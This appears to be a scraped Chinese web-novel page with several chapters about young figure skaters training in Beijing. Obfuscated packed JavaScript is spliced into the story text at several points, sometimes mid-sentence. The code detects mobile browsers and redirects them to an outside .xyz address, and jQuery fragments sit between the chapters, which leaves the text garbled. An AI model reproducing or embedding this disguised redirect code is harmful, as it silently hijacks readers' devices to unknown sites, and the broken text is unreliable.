训练前列队,男伴和女伴都站一块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874540|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只有林风致和搭档隔了四条银河。 如何不算默契。 “也不能叫矛盾吧。”男生想大事化小。 辛成林也不是头一回成为他们的教练,对孩子们的心性有数。 “我只问有没有。” 林风致问:“有的话,会怎么样?” “搭档不和,组合一定不会有进步,”辛成林叫了人来,“辛嵘,你暂时带她练练。” “啊?” 不只当事人,吃瓜看戏的也没接住这句话。 “辛嵘不是男单运动员吗?”贺嘉岁问向应逢年。 “所以是‘暂时’?” “但单人滑和冰舞的技术不互通吧。” 辛成林打断他们:“林风致的跳跃过不了考级,图案舞也很粗糙,我把辛嵘借给你,尽快拿到冰舞的准入证。” “那我呢?” 一瞬之间,搭档就成了前搭档,男生有些着急。 “俱乐部还有找伴的女生,步法是童子功,”辛成林说,“但她想找双六级的搭档,你还不够资格。” “我每天加练。” 他扫视场内的的每个人,平等地告诫:“除了训练,我不希望再有这样的事情发生。” 国内练花滑的不多,双人滑和冰舞运动员更是稀罕,队内找不到,就只能拆东墙补西墙。 但哪里总有合适的补墙材料? 林风致感慨,忍了前搭档那么久,终于送走这尊佛。 又来了另一尊佛。 还是不能忤逆的佛。 辛嵘的技术没问题,他的爸爸又是自己的教练,连抱怨都没处抱怨。 “为什么要抱怨?”贺嘉岁问,“辛嵘拿过全国少锦赛的冠军。” “他简直是太平洋的警察,我吃面包没配牛奶都要管。” “听起来像应逢年。” 林风致和贺嘉岁在冰场外一唱一和,全没避着人。 “我的意思是,没必要为了追求完美而舍弃营养,”辛嵘冷不丁说,“不是怕你噎着。” 贺嘉岁被说服:“那比应逢年好。” “贺嘉岁,你记得在睡觉时睁只眼睛站岗。”应逢年说到就到。 “但喝牛奶会长高,我不能长高。” “为什么不能?” 为什么不能。 入行的第一天,教练就告诉她,冰舞托举要依靠男伴的力量,女伴太高或太重,都不利于技术的稳定。 “那只是为男伴无能的推脱,不是你该牺牲健康的借口。” 这句话振聋发聩,贺嘉岁记了很久。 “你怎么这么看我。”应逢年对上凉嗖嗖的视线。 “我也想要辛嵘那样的搭档。” 应逢年钉在原地:“我不好吗?” “可是辛嵘会对林风致说,不要为了事业牺牲健康。” 这句话一开口,就像小说里不容置疑的主角。 应逢年很生气。 又是小说,她最近又跟着林风致看霸总小说。 他闷头往前走:“我一定会把你的小说都收走。” “别生气嘛。” “我快气死了。” “其实,你很早就说过那句话了。” 在他们第一次尝试托举的那天,她只买了一个可怜的饭包。 应逢年以为她对自己的力量失望,从基地外的超市带了很多零食。 他说的话有些搞笑,不像辛嵘自带男主角的滤镜。 他说:“我以后要监督你好好吃饭,要是你没我高,我就天天叫你‘细细粒’。” 好霸道。 25. 死神和催命鬼 林风致下训早,嘱咐贺嘉岁也早些回宿舍。 但小姑娘和长在冰上似的,一直待到保安握着手电赶人。 “我回来了。” 林风致从作业堆里挣扎爬起:“十点!应逢年又把你拐去溜达了。” “哪也没去,被保温毯折腾了半个小时。” 贺嘉岁和应逢年经常练到场馆锁门,铺保温毯就成了他们的工作。 但他俩都不老实,一定要把任务分清。 在应逢年给冰面盖被子时,她就趁机练练旋转,假装听不见召唤,直到他把自己那份也完成。 看林风致无心听故事,贺嘉岁点到即止,把人摇醒。 “你说你要送我礼物。” “对,”林风致亢奋,“为了庆祝我从此远离前搭档!” “但辛嵘哥哥只是临时搭档。” “我知道,他是我为应付冰舞考级的搭子。” 除了ISU的步法和自由滑考级,冰舞运动员还有图案专项测试,通过单人滑四级才能报名。 无论在国内还是国际,冰舞运动员都得拿到冰舞的考级证。 说着,林风致就开门往外走。 贺嘉岁看她前所未有的行动力,好奇问:“你去哪?” “给你拿礼物。” 声音越来越远。 什么礼物,得去门外拿。 没过两分钟,走廊又响起声音。 “嘉岁,快来搭把手。” 还是个重东西。 贺嘉岁拐出门,刚好水声落地,她低头。 这成色,这包装,还有外泛的冷气。 “你去薅了宿管阿姨的冰箱?”她警惕。 “这是我带给你的,”林风致说,“只是借冰箱保鲜。” 贺嘉岁的天都塌了。 包装袋封得滴水不漏,但周身都溢着苦涩的味道。 谁家好人会把中药当礼物。 “我拒收。” “我拒绝你拒收,礼轻情意重。” 林风致记得自己的话,刚回家就咨询妈妈,临走抓了两个疗程的药材,就怕她好不了。 贺嘉岁商量:“我不想喝药,煲汤行不行?” “喝中药和吃凉茶没区别。” “凉茶也不爱喝。” 林风致被怼得无话。 果然还是小孩,不知道养生调理,难怪能被区区水土不服折腾。 但她不管。 “这是今天的量,”她挑出一袋,“我去热给你喝。” “姐姐。”贺嘉岁还想讨价还价。 “叫妈也没用,”她插上电煮锅,不容许她矫情,“为了以后在国际大杀四方,你就忍忍吧。” 一个疗程结束,林风致听妈妈的建议,适当削减下个疗程的用药。 贺嘉岁下训,刚钻进宿舍楼,中药味就隐约飘着,埋伏在脚下的每一块砖。 鼓起勇气推门,厚重的味道直攻大脑。 “现熬吗?”她不可置信。 袋装的药尚能仰头一口闷。 用锅熬出来的,她得时刻盯着汤汁里煎熬的草根树根。 她和它们的脸上都写着:我好苦。 “当然得现熬,”林风致调小火候,又拿汤匙往里摁,“代煎药有保质期,放不了半个月。” 贺嘉岁看她手法娴熟,好奇问:“你怎么没想过当小中医?” “我小时候天天泡药罐子,学舞蹈是为了强身健体。” 她没有高远的追求,学得马马虎虎也没关系。 谁知道后来阴差阳错,被挑来当运动员,天天都有训练KPI完成。 “那你后悔吗?当运动员肯定会受伤。” “要是搭档丑的话,我可能会后悔死。” “啊?” 贺嘉岁想起,林风致第一次见辛嵘,就说他像从小说里走出来的人。 说不出哪里好看得突出,但那副五官天生就该长在一张脸上。 “说实话,辛嵘管天管地,比我爸还像我爸,”林风致再解开锅盖,“但他超级耐心,一套图案能陪我滑上百遍,还能教我文化课。” 她没有二级运动员证,升学必须通过中考,文化课很重要。 中药味瞬间扑面,贺嘉岁掩住鼻子。 “那你赚翻了。” “对,这就是当蛀虫的感觉,”她把中药盛出,“你是我的小蛀虫,记得趁热喝。” “能有用吗?” 喝了大半个月的药,贺嘉岁觉得自己快被腌透,翻来覆去洗澡,身上还是一股味。 …… “贺嘉岁,你拿藿香正气水泡澡了?” 陆地训练需要近距离接触,应逢年很容易就能闻到。 嗅一嗅,又辛又苦,混着她自带的淡香味,上头。 “专心,”辛成林制造动静抓回注意,“记住要领多试几次,女伴核心发力,男伴上肢发力,节奏一致。” 没有讲小话的时间,教练时刻盯着。 贺嘉岁把话咽下去,和应逢年回到原来的位置,静静听口令。 握腰,起步,发力向上推。 手上的力度消失,她感觉自己被推送到半空。 本能让分开的腿收拢,她自然地转了180°,面冲地板。 高兴还没半秒钟,她就再度压下来,两人摔在地上。 好在有应逢年的手护着缓冲。 “应逢年,你要谋害我。” 索性把气往一处撒,贺嘉岁挪了挪身体,等身下的人爬起。 辛成林不说质量,首先为他们跨出这一步鼓掌。 “练了几个月,终于敢放手了。” 他们刚刚完成了第一个成功脱手的捻转,虽然只有半圈,虽然虎头蛇尾。 “我还没找准你腰在哪。”应逢年解释。 他也为这个进步高兴。 但如何在脱手后接人,他以前没实践过,有些手忙脚乱。 辛成林回放录像,调到0.5倍速,把动作细节尽可能放大。 贺嘉岁和应逢年的起步姿态很标准,两人准备起跳和发力的时间一致。 直到男伴托腰向上推送,都和分解练习时一样好。 随后,推送到最高点,应逢年才下定决心放手,导致接人时出手不及时。 “看见了吗?”辛成林回拖进度条,“小应伸了手,但准备不足,瞬间爆发力不能支撑落冰。” 贺嘉岁点头,替应逢年应下:“力量还得练。” “小贺,你在空中的核心有些散,”教练一一点名,谁都不放过,“虽然现在看不出问题,但如果核心不稳定,后续转速提不上来。” “那我多加两组平板支撑。” “直接上吊带辅助,”辛成林招呼,“小应,你也同步练接人缓冲,今天的情况必须避免。” “好。” 女伴作为被抛被托举的一方,面临的危险情况总是很多,但这不全是一个人的问题。 或者说,他们是一体的,节目从头到尾都是两个人的责任。 他们要一起进步,共苦再同甘。 …… 走出舞蹈室,贺嘉岁和林风致分享。 “天呐,我和应逢年出了捻转!” “猜到了,你乐得像刚被监狱放出来似的。” 他们的双人技术出得比同龄运动员慢,只捻转就磕了大半年,是得好好乐一乐。 “你的步法练得怎么样?”贺嘉岁问。 他们刚完成考级报名。 按照计划,她和应逢年报名第一站,尽量成功追级。 林风致落后一步,想在下半年拿到冰舞的测试资格,有些紧迫。 “一定能行。” 贺嘉岁眼睛一斜,问道:“谁给你的自信?” “不是别人给的,我辛辛苦苦练了一年,势必拿下。” 她抱着腿,脸上饶有兴味。 她觉得林风致正在改变,但又和昨天没有区别。 辛嵘结束单人技术练习,滑到场边找人:“林风致,你怎么偷懒。” “我在背荷兰华尔兹*的图案,前两拍以左前外刃起步,第三拍右前内刃,左前外再接六拍右前外……” “背了没用,上冰看看。” 清闲的时光就此结束,林风致被命运扼住喉咙,扭头看贺嘉岁。 “你听见死神的召唤了吗?” 贺嘉岁笑着摇头:“他不是我的死神。” 但她是偷摸溜出来透气的。 赶在教练回来前,应逢年贴着舞蹈室的玻璃门,像只会哈气的鼻涕虫。 “贺嘉岁,快回来练空转,教练还有三十秒到达战场。 “二十五秒。 “二十秒,快快快!” 林风致也幸灾乐祸地看她:“但你有催命鬼。” 贺嘉岁嘴里叹着气,身体倒诚实地到位。 趁身上的肌肉还没缓过劲,她乘胜追击:“我今天一定要拿更多的‘优秀’。” 应逢年应战:“同上。” 训练固然痛苦,好在彼此折磨也不失为乐趣。 …… 五月。 在济南回北京,贺嘉岁提不起看风景的心情。 “你看,他们正在种水稻。”应逢年说。 离开的地方多丘陵,耕地藏在山峦间,铁轨又铺在田垅的高架上。 “我现在很烦。” 济南站刚结束,她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886520|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自由滑不尽人意,蹲转换足时掉速卡冰,少于规定圈数,后内结环两周罕见摔倒。 虽然规则允许至多两个严重失误,但教练说她的联合旋转姿态差,也会被抓。 五级不过,约等于白跑一趟。 唯一的好消息是,她身体的应激反应有所改善,没在外乡吐到昏天黑地。 应逢年点头:“我的形势和你一样。” 他同样在跳跃上出现失误,可以理解为,他们正在修改跳跃习惯的阵痛期。 “那你也别通过,来五级陪我。” “不行,我只能在精神上支持你。” 贺嘉岁毫不意外,就知道是花言巧语。 她感慨着大难临头各自飞。 “这怎么能是大难临头,”应逢年说,“状态有起伏很正常,这是成长的过程,轨迹不一样,但我们都会通向成功。” “喝了二两鸡汤出门?” 贺嘉岁才不想听成功者的经验之谈。 如果有什么能激励自己,只有在下一次表演中血洗前耻。 到了北京,他们走下高铁,匍匐在地底。 “教练说什么?”贺嘉岁不自觉放大音量。 地铁的年头太久,各个关节发出机械的嘎吱怪叫,他们根本不能心平气和地说话。 应逢年也放声:“教练让我们在晚训前,先回去洗把脸。” 好怪的要求。 …… 吃过晚饭,贺嘉岁赶时间洗个澡,还蹭了好室友的果调香。 林风致递出东西,嘴里意思一句:“你还是个孩子,学什么大人喷香水。” 贺嘉岁反呛:“你不也是个孩子,学什么大人喷香水。” “我马上就是高中生,你还在小学高年级。” “别拉远我们的距离,”她不着调,“我明年小学毕业,你目前在读初三。” 看,感觉她们之间缩短了两岁。 至于为什么要洗把脸再上课,辛教练没明说,她们也没问出个所以然。 应逢年站在宿舍楼外。 “就五分钟的脚程,你俩真是分不开。”林风致来回看了眼,识趣地走在前头。 应逢年虽然出门早,也不能只身犯险,索性等一等好搭档。 他老实说:“我觉得有诈,不敢先去。” 第一个吃螃蟹的人在吃螃蟹前,可不知道螃蟹好坏。 林风致顿了两步,识趣地走在后头。 花滑馆里,其他学员已先到一步,教练在闸机口等候,目送他们进场。 “还有人要来?” 辛教练换了件新衣服,看来是贵客。 但“贵客”迟迟没到。 八点整,辛成林吹响口哨,让他们热身上冰。 白天还在路上奔波,孩子们没多少精力,有气无力地应和着,系鞋带都慢吞吞。 贺嘉岁可不一样,她有杀手锏。 “应逢年,看在我要累死的份上,帮我系鞋带吧。” “没长手?” 她藏起爪子,应和说:“嗯,没长手。” 系冰鞋的鞋带是技术活,她要养精蓄锐,偷偷消磨他的精力。 鞋带系好,人就飞了。 应逢年看她跳起来,直接蹦上冰场。 “来吧,大战五十回合。” “你要战什么?” “比谁的后内结环两周先摔。” 她相信考级的失误是意外,要和快人一步的应师傅一较高下。 “我认输。” “不行,我不能不战而胜。” 还挺有原则。 原本在场边旁观的教练不知所踪,辛嵘自然替了他的职位。 “大家先滑两圈调整,贺嘉岁和应逢年多滑两圈。” 好吧,山中无老虎,但有小辛教练。 应逢年咬牙,小声抱怨:“贺嘉岁。” 贺嘉岁装傻,向四周看了看:“谁叫贺嘉岁。” 林风致倚着板墙,慢条斯理摘下刀套,慢条斯理戴上手套。 慢条斯理地说:“年轻就是好。” 晚场人不多,除了冰刀滑过冰面和偶尔的口令,一片安静。 热身后,每组进入各自的重点练习。 林风致和辛嵘还在磨合握法,贺嘉岁和应逢年尝试单跳和抛跳。 馆内什么时候多出两个人,没人察觉。 直到一个哨声,这是集合的指令。 孩子们暂停训练任务,逐渐向场边靠拢,看辛教练带了位陌生人。 陌生人的头发打了摩丝,下巴和腮边冒出胡茬,修过边幅又不修边幅的模样。 人也古怪,张口就问: “大家有没有兴趣上电视?” 26. 生气还得打报告 上电视。 “是TV那个电视吗?”有人比划了个方框。 “对,我们准备拍摄一部冬奥献礼剧。” 来人不算辛教练的朋友,是影视剧的选角导演,和冬运中心有合作。 北京周期越来越近,广电总局特批了好些项目,都和华夏冰雪运动的发展有关。 献礼,听起来很高级。 “我们计划在今年冬季开拍,大概后年上线。” “我们当主角?” “是主角小时候的替身。” 替身,顾名思义,替演员完成拍摄的演员。 那就不能以正脸出镜,众人突然觉得没意思。 场面有些尴尬,辛成林出来打圆场:“他们剧组原本想从省队里挑,但时间错不开,年底正是比赛扎堆的时候。” “我们也要参加比赛。” “我参加不了,我来演。” 林风致站出来,把贺嘉岁吓了跳。 “你年底有少锦赛。”她拽了拽裙角。 “我一个人,怎么参加少锦赛。” 辛嵘一噎:“我被开除人籍了。” 林风致惊讶地掀起眼皮:“你不混男单了?” 她想当蛀虫,可没说以牺牲别人的前途为代价。 胡茬导演一个酝酿,开始讲述他的糟糕经历。 剧组的拍摄地定在北京,优先选择常驻本地的运动员。 他此前走访了省队和市区多数俱乐部,要么没有合适的人选,要么运动员的家长不同意。 这年头,城市里虽然安全,但坑蒙拐骗的手段也在与时俱进。 “我看你俩就很有主角的feel。” 讲完故事,胡茬主动点名。 “我俩?” 贺嘉岁和应逢年对视。 他们躲在后面讨论新赛季的技术安排,怎么也能成为话题中的人物。 “主角是双人滑运动员,青梅竹马、两小无猜,和你们刚才的自然状态很像。” 有孩子说:“他们就是双人滑运动员。” “那正好。” 辛成林皱眉:“小贺和小应是队里最拔尖的,年底会有些忙。” “小演员的戏份不多,替身也演不了几场,集中拍摄只需三五天,”胡茬拿出一副苦相,央求说,“哥,我真的很难。” 应逢年没表态,低声问:“你想去吗?” “我没尝试过。” 拍花滑题材的电视剧,这对她来说是全新的领域。 几番僵持,辛成林有些松口。 他把决定权交给两个孩子,只有一个要求,不能耽误比赛。 胡茬看寻人有望,终于挺直腰杆:“好说,我们可以配合两位运动员的时间。” 骑虎难下,似乎没有推脱的余地。 “咱们主要替演员完成冰上的戏份,你们的拍摄只在冰场,可以随时训练。”胡茬给出最后一击。 贺嘉岁有些心动。 有冰场,有薪资,还能见到传说中的大明星。 只是换个地方训练两天。 “行啊,”林风致想要答应的心呼之欲出,“嘉岁,你就替我圆了演员梦吧。” “你什么时候有的演员梦?” “听见一天能拿五百块钱的时候。” “你的梦想这么站不住脚跟。” “我能站住就行。” 拗不过心里话和耳边风,贺嘉岁答应邀约。 “什么时候能演?”她问。 “我们会尽快拟出合同和拍摄日程。” …… “还是太草率了。” 贺嘉岁回想答应当替身这件事,总觉得受林风致蛊惑的成分更高。 这时候,林风致总会带偏话题:“你演过舞剧,比赛和表演经验都很丰富,发挥肯定出色。” 说到舞剧,《青空引》的首巡暂告段落,冯女士计划再排一部有关非遗传承的舞剧,过两年复排巡演。 应逢年形容,她在布一场大棋。 贺嘉岁叨咕:“我怎么感觉,自己活成了三角形。” 明星都讲究影视歌全面开花,她和应逢年脚下滑着冰,一手抓舞剧,一手抓电视剧。 另类的三栖。 “这叫技多不压身。”应逢年说。 合同由贺先生和冯女士委托教练签署。 辛成林签字时,贺嘉岁和应逢年就在跟前看着,被他抱怨挡了光。 “也不知这是好事坏事。”他说。 “不管好坏,这是成长的过程。”贺嘉岁学应逢年说话。 “小小年纪老气横秋,”辛成林把他们赶去教室,“看看今天能不能提一提高度,把一周捻转逼出来。” 关于新赛季,节目是首要。 隔壁的冰舞组合请了国内知名的金荞麦,贺嘉岁和应逢年打算添些钱,拜托她顺便编两套。 “你们花了多少钱?”贺嘉岁问林风致。 “短舞四千,我们保留上赛季的自由舞。” “我们不能保留。” 虽然他们的自由滑没见几次世面,但节目难度整体落后,想保证竞争力,必须常换常新。 “那要花上万块钱。”贺嘉岁推测。 对他们来说,以万为单位的都是大数字,在数学题册里遇见,都得多验算两遍。 可恶,合同里的五千块怎么不能提前到账。 如何凑钱,成了问题。 “这也算问题,”林风致不解,“你们和家里断联了?” “没以乞丐的身份联系过。” 和爸爸妈妈打电话,聊聊生活就很温馨,张口要钱,总拉不下脸。 “听着,我们花父母的钱来到这里,说明他们会支持我们的决定,为花滑投入没什么丢脸的。” 林风致经常作怪,说话也无遮无拦。 但讲这话的时候,贺嘉岁只觉得神在开口。 所有人都会为了达到目的各自付出,只是能出钱的出钱,该出力的出力。 一通电话的事,应逢年很快得到回应。 “我妈把你的那份也付了。” “我爸也是。” …… 一入六月,北京的气温就开始不讲道理,从周一到周五节节攀升,直到周末,顺利拿下今年首个橙色预警。 贺嘉岁和应逢年放暑假,除了冰场哪也不去,一天都在空调房。 林风致嫉妒得眼红。 她得顶着太阳奔赴考场,这已经够糟糕了。 中考还在周末! 失去两天清闲,宛如失去半壁江山,她难过得让贺嘉岁没敢轻举妄动。 后者以为她在考试失了利。 “辛嵘哥哥说,中考特别简单,随便学学都能上岸。” “他是一级运动员,不学都能上岸。” “那他教你的东西,能听吗?”贺嘉岁问。 林风致也愣了愣:“应该能吧。” 七月初,中考成绩张榜,林风致的名字淹没在浩淼大海里。 分数不高,堪堪四百出头。 但她走特长生通道,有单位接洽,早早定下学校。 “还是在师大附中,没意思。” 接下来的时间,她只需静候录取通知书。 啊,毫无波澜的生活。 “毫无波澜吗?那就起来练舞。” 贺嘉岁热衷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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很久之前,他和贺嘉岁就不谋而合:在训练时脸红是再正常不过的反应。 但放在别人身上,这个共识就自动消失。 “对啊,他们会不会早恋?” “辛嵘的爸爸是教练,他们不可能早恋。” “也有可能在暧昧。” “贺嘉岁,你从哪学的这些?” 言多必失,贺嘉岁噤声。 总不能说,林风致最近分享的小说叫《冰山校草爱上我》。 “我回去找找播放器,看能不能下载节目音乐。” “贺嘉岁。” “应逢年,你的口音怎么染上了东北味?” “贺嘉岁。” “出门在外,给我留点面子。”她双手合十。 她可不想把小说里的羞耻情节和盘托出。 远处传来金荞麦的高喝:“撒一次手加十分钟。” 刚松开的手又急切地握在一起。 应逢年垂下眼睫,感觉到微凉的湿意,沉沉吐了口气。 在教练们的视角盲区,他抓住她的手腕,在自己的训练服上揩了把,才重新收拢手指。 “你说话也有东北口音,你没发现吗?”他说。 “不可能,退一万步讲,也该是地道的京味儿。” 贺嘉岁相信耳濡目染,自己学了一口流利的京片子。 “你怎么形容我。” “长得磕碜。” “贺嘉岁。” 应逢年嘴角一撇,完全把她的名字当标点符号使。 “怎么还急眼了呢,我寻思磕碜也不等于难看。” 等等。 “我的口音真被编舞老师带偏了。” 应逢年拉着她提速:“你还在意口音,你的搭档快生气了。” 幼稚,生气还得打报告。 “好不好看的,我能认出你不就好了。” 27. BUG怎么能运作呢? 自从来北京,贺嘉岁和滨南的联系骤然少了。 她当然想念成长的故土。 只是除了联系人里来自滨南的号码,她找不到其他和那里有关的人和事。 也不知道以前的朋友们是否长大。 她盯着窗外发呆,看绿意偶尔晃动,试图把自己想象成只管叫唤的蝉。 林风致刚从食堂吃饭回来:“嘉岁,外面好像有人找你。” “找我?”她坐起来。 蝉鸣按下暂停键。 林风致点头:“保安拦着没让进,说必须有内部人员接。” 会是谁呢。 她在北京,好像也没交到一起玩耍的朋友。 “如果她打电话给我,保安也会放行。” 但会有人打电话来吗? 她的手表快过两岁生日了,联系人名单依然一眼见底,她不确定来者是谁,有没有自己的号码。 林风致抛给她一颗糖,转了话锋:“等会儿加练吗?” 没了来自学校的负担,暑假单调且漫长,早上陆训和舞蹈,下午搓节目,晚上忙着练考级的技术。 “当然。” 连无欲无求的林风致都能振作,她可没有松懈的理由。 直到出门,贺嘉岁也没等到所谓的电话。 保险起见,她绕道花滑馆的背面,那里地势高,能把基地大门尽收眼底。 门外真有人。 女生看着和自己同龄,站着比保安略高。 保安阿叔握了把蒲扇,手里忙着给她扇风,嘴上得理不饶人。 “我们基地有规定,不能放你进去。” “我把身份证押您这儿,行不行?” “我私心认为可行,但基地的管理太严格,被扣工资的会是我。” “可我真没朋友的电话。” 女孩很焦急,用跺脚消解内心的躁动。 这小动作。 贺嘉岁豁然开朗:“言开?” 言开脱口而出:“你看,她就是我朋友。” “我知道她是你朋友,但她必须来接你。” 暑气上了头,两人都没反应过来。 “阿叔,我认识她,”贺嘉岁扒着铁门,“我来接她。” 言开终于定神:“天呐,居然是贺嘉岁。” 把人带进场馆,气温肉眼可见地下降,两个小姑娘才在角落喜极而泣。 “你怎么长这么高了,我都没敢认。”言开说。 她们同岁,又是同一年到滨南体校求学,从刚认识关系就不错。 小时候的贺嘉岁总矮一头。 如果不是气质与生俱来,真有调皮的小男生说她是跟班。 现在,言开搭着她的肩,视线微微上抬,才能对上她的眼睛。 “你怎么在北京?”轮到贺嘉岁发问。 “来参加比赛。” “艺术体操?” “对,”言开点头,“是个商业赛,我拿了带操的第三名。” 圈外大概不了解艺体的比赛机制,她补充:“个人认为,带操是圈、球、棒、带四项里最有难度的器械项目。” “练多久就能拿奖牌,你以前是入错了行。” “也不能这么说,”言开被夸得不好意思,“参加带操的选手不多,我倒数也是第三。” “能正着数,为什么要倒数?” 应逢年还没来,她带言开进入休息区。 “你能在北京待多久?” “明天就回去。” 言开虽然转了项,至今在滨南体校训练,此次比赛也代表体校出征。 “这两天周末,我还想带你逛一逛。” “前几天去了天安门,差点把我挤成薯饼。” 大热的天也不妨碍满地游客,比向日葵还热烈。 “我给你带了礼物。”言开放下挎包,开始倒豆子。 “这是蜜饯,可以当小零食吃。” “这是鸡仔饼,里面混了猪肉里,咸甜口。” “这是话梅,体校小卖部的招牌。” 像给外地人介绍家乡特产。 “言开,我吃不了那么多。” 眼看挎包不大,比哆啦A梦的口袋还能装,贺嘉岁摁住她的手。 “运动员应该有忌口,你不吃也没关系,”言开打开夹层,“但这你肯定能用上。” 有味了。 “是当归。” “聪明,汤料里什么都有,你可以给自己开小灶,”她的嘴角定了定,“忘了给你带炖盅。” 药材的气味熏得人眼眶发涩,又或许是远道而来的感情太厚重,贺嘉岁感觉视线模糊,所有色彩的边缘互相渗透。 “其实,这些药材是别人托我带给你的。” 贺嘉岁说:“我爸爸。” 贺先生没别的技能,煲汤是他为数不多的兴趣,比做饭还熟练。 她以前说,这是他唯一像爸爸的地方。 “这都能猜到。” 来北京前,言开去了趟贺家,刚好碰上贺先生下班。 她蹭了顿饭,问阿叔有没有想带给贺嘉岁的礼物。 闸机一响,外面又来了人。 “贺嘉岁,你怎么在偷懒。” 言开回头,来人怪眼熟。 但她想不起名字。 “是应逢年。”贺嘉岁介绍。 “小铁人?” 恍惚回到当年的舞蹈班,应逢年掀起一层小疙瘩。 言开起身感叹:“你们平时都吃什么,长这么高。” “有吗?” 应逢年侧首,和贺嘉岁比了比。 刚来北京时,贺嘉岁略高他些。 这几年她长得慢,他顺利实现反超,高她小半个头。 连前教练都说,如果贺嘉岁能在十四五岁仍然保持这样的成长势头,必定是练花滑的天选之子。 冰场的时钟整点报时,林风致从更衣室出来,上冰热身。 “今天教练不在,但小辛教练在哦。”她瞥向场外磨蹭的两人。 贺嘉岁收好礼物,对言开说:“我们得训练了。” “我懂,我就这么看着。” “看着多没意思。” 下午还长。 言开被她的花言巧语骗上冰场,死死抠着板墙不敢走。 “上冰也没意思。” 她的五官都在用力,脚趾抓紧冰鞋,想把自己凿进冰面。 贺嘉岁教她:“你试着慢慢站直,两脚分开一定距离,保持自然滑行。” 言开信她的话。 但站直的代价是失去重心,脚也不听使唤地先走一步,一摔一个屁股墩。 原来不是所有和艺术挂钩的运动都相通。 她急流勇退,再也不滑了。 贺嘉岁和应逢年的节目学了大概,金荞麦来监工,看他们在冰上适应动作。 “如果衔接和技术的主力腿有矛盾,及时告知我。” 这是他们第一次带上音乐磨合舞蹈和技术。 条件有限,手机播放器的音量不足以传播到短轴的尽头,他们数着拍子继续,勉强顺了一遍。 “这套自由滑很适合你们,”金荞麦点头说通过,“我再去看看其他两组。” 宣告解散,但不代表解放。 贺嘉岁和应逢年自己琢磨,从言开的眼前滑过一回又一回。 “你们滑得好轻松。” “我不止会这个。”贺嘉岁说。 撒开应逢年的手,她给言开展示节目里有或没有的,所有两周跳。 还有1A+2T+2Lo联跳,这是她最近掌握的最高分跳跃。 言开肃然起敬:“你的联跳快跨一个半场。” “我最近还想学两周半,但教练让我一步步来。” “两周半,那岂不是快出三周跳了?” 贺嘉岁摇头:“两周半和三周跳很不一样,我也不知自己能先学会哪个。” 这话说得轻松,言开又燃起征服冰鞋的斗志。 她想再试一试。 再踏进冰场,好像的确没那么惊险,她想象自己是滑神,一个人慢慢晃悠。 贺嘉岁偶尔和应逢年PK技术,偶尔独自进入旋转,偶尔看看她的朋友对这片冰面的征服度如何。 “你学会了用刃。”她一个急停,欣喜说。 “什么是用刃?” “这个步法叫前葫芦。” 是吗? 言开咧开嘴,她居然误打误撞解锁了步法。 “我想学你的刹车,好酷。” “有点危险。” “那我慢慢学。” 她蠢蠢欲动,从起步加速开始。 刹车未半而中道侧摔。 一侧身体僵了半秒,牵扯训练时的旧伤发作。 像新欢和旧爱联合讨伐。 “我真的再也不玩了。”她丧着脸保证。 日落西山,场馆的落地窗把所有余晖接纳。 大家陆续收拾装备,约定晚上再碰面。 但言开得继续赶路,先走一程。 她和贺嘉岁交换微信,保险起见,又互存了号码。 下次,她就能扬着狐狸尾巴,对保安说:我在这里有人。 她握着出租车的车把,回头看基地初上的晚灯。 宏伟的建筑和四周融为一体,耳边有催人的虫鸣。 “真好,”她说,“你有在北京变好。” 不对,贺嘉岁本来就是舞蹈班的尖子生,她只是把优秀带到新的地方。 在自己不熟悉的城市,也不熟悉的领域。 “我当然得变好,”贺嘉岁和她拥抱,又回到搭档身边,“我们都是。” …… 北京难得凉快几天,转眼又入了中伏。 基地里的孩子们大呼“逃命”,推着行李和鬼天气告别。 忙碌的考级路,首站定在无锡。 “我怎么觉得,像从露天烧烤进了有盖的蒸笼。” 不像北京晴热阴凉,江南一连下了一周雨。 不知从哪窜出的热气,湿与热交织,让人吃不适应,睡不适应。 “我不适应倒正常,”辛嵘奇怪,“难道滨南不是这种天气?” 在他的认知里,滨南比无锡更靠海、更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895371|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠南,只会更热更湿。 “滨南的梅雨季确实折磨人,”林风致说,“但咱几个是不土生但土长的老北京。” 环境越来越把人同化,他们只保留太少的作为滨南人的习惯。 贺嘉岁的体质好了许多,反倒成为胃口最好的那个。 一日三餐后,只能嚼空气解饿。 应逢年在递零食与不想助长吃宵夜的坏习惯种纠结。 “给她吃吧,”林风致帮他下决心,“孩子还在长身体。” 